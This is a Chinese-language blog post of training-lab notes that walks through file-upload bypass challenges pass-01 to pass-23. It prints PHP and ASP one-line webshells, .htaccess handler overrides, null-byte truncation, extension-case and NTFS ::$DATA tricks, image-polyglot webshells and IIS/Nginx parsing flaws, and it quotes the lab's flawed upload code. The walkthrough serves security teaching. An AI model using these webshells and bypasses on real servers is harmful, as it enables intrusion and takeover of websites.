掌控安全学习-解析、截断、验证、伪造上传

文件上传步骤

上传到缓存目录=》通过php代码指导,移动到存放文件的地方+重命名

前端验证

  • 前端代码是在浏览器上运行的,通过burp进行数据包修改达到绕过

pass-01

查看源码,发现使用前端验证,只允许.jpg|.png|.gif上传
编写简单的一句话木马,将后缀修改为允许通过的文件类型,通过burp修改文件后缀达成绕过;
<?php eval($_REQUEST[a]);?>

image
image

pass-02

Content-Type方式绕过
Content-Type:用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件

第二题属于后端验证,只允许Content-Type头为image/jpeg|image/png| 的文件
编写简单php一句话木马
`<?php eval($_REQUEST[a]);?>
通过BURP修改Content-Type信息达到绕过

image
image

pass-03

黑名单绕过:存在黑名单内的文件类型不允许上传
jsp|jspx|jspf 会被当做jsp运行
asp|asa|cer|aspx 会被当做asp运行
php|php3|php4|php5|phtml 会被当做php运行
exe|exee 会被当做exe执行

查看源码发现 不允许上传.asp,.aspx,.php,.jsp后缀文件,可尝试使用其他可被执行的后缀进行
如何区分黑白名单机制,上传任意后缀文件,能上传属于黑名单机制,不能上传属于白名单机制
编写简单php一句话木马,将后缀改为phtml文件
<?php eval($_REQUEST[a]);?>

pass-04

.htaccess文件绕过
  • 当rewrite模块开启,配置文件httpd.conf如下时,apache服务器会将所有.jpg为后缀的文件作为php文件解析。
<Directory />
    Options FollowSymLinks
    AllowOverride All
    AddType application/x-httpd-php .jpg    #将.jpg后缀的文件作为PHP文件解析
</Directory>
  • 当上传.htaccess文件到upload目录时,upload目录下的文件会按其配置生效解析
.htaccess文件内容
AddType application/x-httpd-php .jpg
  • 这样配置有一个问题,apache会将所有的.jpg后缀的文件当作php文件解析,这样会明显影响系统的功能,改进代码如下,这样系统就只对文件名包含“info.png”字符串的文件进行解析,例如aaainfo.jpg,aaainfo.jpgxsdf,aaainfo.png.txt。
<FilesMatch "info.png">
setHandler application/x-httpd-php
</FilesMatch> 
  • 再次改进
<FilesMatch "^info.png$">
setHandler application/x-httpd-php
</FilesMatch>

漏洞形成条件

  • apache服务器
  • 能够上传.htaccess文件,一般为黑名单限制。
  • AllowOverride All,默认配置为关闭None。
  • LoadModule rewrite_module modules/mod_rewrite.so #模块为开启状态
  • 上传目录具有可执行权限。

先上传.htaccess文件;

<FilesMatch "^info.jpg$">
setHandler application/x-httpd-php
</FilesMatch>

在上传图片码

<?php eval($_REQUEST[a]);?>
image

pass-05

查看源码发现.htaccess文件被禁用了,但是发现php文件的大小写没有禁用,通过创建后缀为.PHP文件绕过

<?php eval($_REQUEST[a]);?>
image

pass-06

文件后缀(空)绕过(windows中)
查看源码发现全转成小写,可以尝试通过文件后缀加空格的方式绕过
创建后缀为.PHP文件绕过,或burp修改后缀

<?php eval($_REQUEST[a]);?>
image

pass-07

文件后缀(点)绕过(windows中)
查看源码发现首位去空格,可以尝试通过文件后缀加点的方式绕过
创建后缀为.PHP .文件绕过,或burp修改后缀

<?php eval($_REQUEST[a]);?>
image

pass-08

::DATA(Windows文件流绕过) 利用Windows下NTFS文件系统的一个特性,即NTFS文件系统的存储数据流的一个属性DATA;当我们访问X.X::DATA,实际上就是访问它本身X.X,如果X.X本身包含这其他数据流,如X.X:Y.Y,请求X.X:Y.Y:$DATA就是在请求Y.Y中的内容
burp修改后缀

<?php eval($_REQUEST[a]);?>
image

pass-09

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现会先删除文件末尾点,判断末尾是不是点,在首位去空
构建后缀为.php. .文件,或burp修改后缀

image

pass-10

查看源码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
            $img_path = $UPLOAD_ADDR . '/' .$file_name;
            $is_upload = true;
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

发现会将上传的文件名与黑名单进行比对,一旦有出现,就替换成空值
构建后缀为phphpp文件进行绕过,或者burp修改后缀

<?php eval($_REQUEST[a]);?>
image

pass-11

查看源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上传失败!';
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

发现只有后缀为jpg|png|gif才会进行上传(白名单机制),图片路径是保存路径、随机数、时间戳和文件后缀拼接而成。
构建简单php一句话木马,通过burp修改路径为.php%00

<?php eval($_REQUEST[a]);?>

php的函数去执行的时候他读取到0x00认为结束了,那么这个文件就变成了.php文件,%00是经过URL编码后的0x00

image
image

pass-12

查看源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = "上传失败";
        }
    }
    else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

通过post传参,不会进行URL(16进制解码),通过burp进行16进制修改,将00加入
zz.phpa将a(61)修改成00

image

image

pass-13

查看源码发现只能上传jpg|png|gif
通过 copy 1.jpg/b +1.php zzz.jpg 生成图片码
访问图片地址/.php

pass-14

查看源码发现只能上传.jpeg|.png|.gif
通过 copy 1.jpg/b +1.php zzz.jpg 生成图片码
访问图片地址/.php

pass-15

查看源码发现只能上传jpg|png|gif
通过 copy 1.jpg/b +1.php zzz.jpg 生成图片码
访问图片地址/.php

pass-16

二次渲染绕过
通过gif动图进行绕过,图片进行16进制编辑,将一句话藏在前三行内


image

将图片下载进行验证

pass-17/pass-18

我们用burp模块抓包然后去爆破就行,一个不断上传,一个不断访问

pass-19

move_uploaded_file()截断
CVE-2015-2348
PHP 5.4.39、5.5.x、5.6.x版本的ext/standard/basic_functions.c中,move_uploaded_file遇到\x00字符后会截断路径名,在实现上存在安全漏洞,通过构造的参数,远程攻击者可绕过目标扩展限制,以非法名字创建文件。

image

在16进制编辑模式下将a替换成00

image
image

pass-20

  • IIS解析漏洞1:
      在网站下建立文件夹的名字为 *.asp|*.asa的文件夹,其目录内的任何扩展名的文件都被 IIS 当作 asp 文件来解析并执行。例如创建目录 vidun.asp,那么 /vidun.asp/1.jpg 将被当作 asp 文件来执行。当文件后缀名为.asa|.cer|.cdx也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa|.cer|.cdx都会调用asp.dll

制作asp一句话木马,将其制作成图片码

<% eval request("a")%>
copy 1.jpg/b +1.cer zzz.jpg
image

通过burp修改后缀为.cer

image
image

pass-21

  • IIS解析漏洞2:
      网站上传图片的时候,将网页木马文件的名字改成*.asp;.jpg,也同样会被 IIS 当作 asp 文件来解析并执行。例如上传一个图片文件,名字叫vidun.asp;.jpg的木马文件,该文件可以被当作 asp 文件解析并执行。
    制作asp一句话木马,将其制作成图片码,后缀修改为zzz.asp;.jpg
<% eval request("a")%>
image

pass-22

上传asp图片码
制作asp一句话木马,将其制作成图片码

<% eval request("a")%>
copy 1.jpg/b +1.cer zzz.jpg
image

pass-23

CGI解析:IIS7.0、IIS7.5 以及Nginx<8.03 解析漏洞
IIS7.0和IIS7.5的解析漏洞没有IIS6.0那样全面,有时候或许没效果。
还有一点需要注意:IIS7.0、IIS7.5这种解析漏洞只适用于PHP编程语言的网站;不像IIS6.0的解析漏洞,ASP和PHP都可以。
正常的命名:a.jpg
触发解析漏洞的命名:a.jpg/.php
Nginx默认是以CGI的方式支持PHP解析的,这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞
当访问www.xx.com/phpinfo.jpg/1.php 这个URL时,$fastcgi_script_name会被设置“phpinfo.jpg/1.php”, 然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了cgi.fix_pathinfo=1选项(这个默认值就是1,所以没有设置过就是开启),那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO,所以就会phpinfo.jpg作为PHP文件来解析了.
直接上传图片马,上传后加/.php

制作php一句话木马,将其制作成图片码

<?php eval($_REQUEST[a]);?>
copy 1.jpg/b +1.php zzz.jpg
image
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容